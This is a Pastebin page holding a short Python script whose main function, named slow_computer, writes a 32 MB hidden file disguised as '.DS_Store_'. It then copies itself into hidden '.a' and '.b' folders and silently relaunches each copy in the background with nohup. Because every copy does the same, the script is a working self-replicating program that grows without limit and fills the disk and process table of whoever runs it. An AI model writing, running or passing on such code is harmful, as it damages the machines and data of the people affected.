Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/env python
- import os
- from sys import argv
- from subprocess import Popen
- def create_file(hidden, n):
- with open(hidden, 'wb') as f:
- f.seek(n-1)
- f.write(b'\x00')
- def self_replicate(prog, a, b):
- dest = './'+a+'/'+prog
- os.system('mkdir '+a+' </dev/null >/dev/null 2>&1')
- os.system('cp '+prog+' '+dest+' </dev/null >/dev/null 2>&1')
- dest = './'+b+'/'+prog
- os.system('mkdir '+b+' </dev/null >/dev/null 2>&1')
- os.system('cp '+prog+' '+dest+' </dev/null >/dev/null 2>&1')
- def execute_replicas(prog, a, b):
- Popen(['cd '+a+'/'+' ; '+'nohup python '+prog
- +' </dev/null >/dev/null 2>&1 &'], shell=True)
- Popen(['cd '+b+'/'+' ; '+'nohup python '+prog
- +' </dev/null >/dev/null 2>&1 &'], shell=True)
- def slow_computer(prog, hidden, n, a, b):
- create_file(hidden, n)
- self_replicate(prog, a, b)
- execute_replicas(prog, a, b)
- if __name__ == '__main__':
- slow_computer(argv[0], '.DS_Store_', 2**25, '.a', '.b')
Add Comment
Please, Sign In to add comment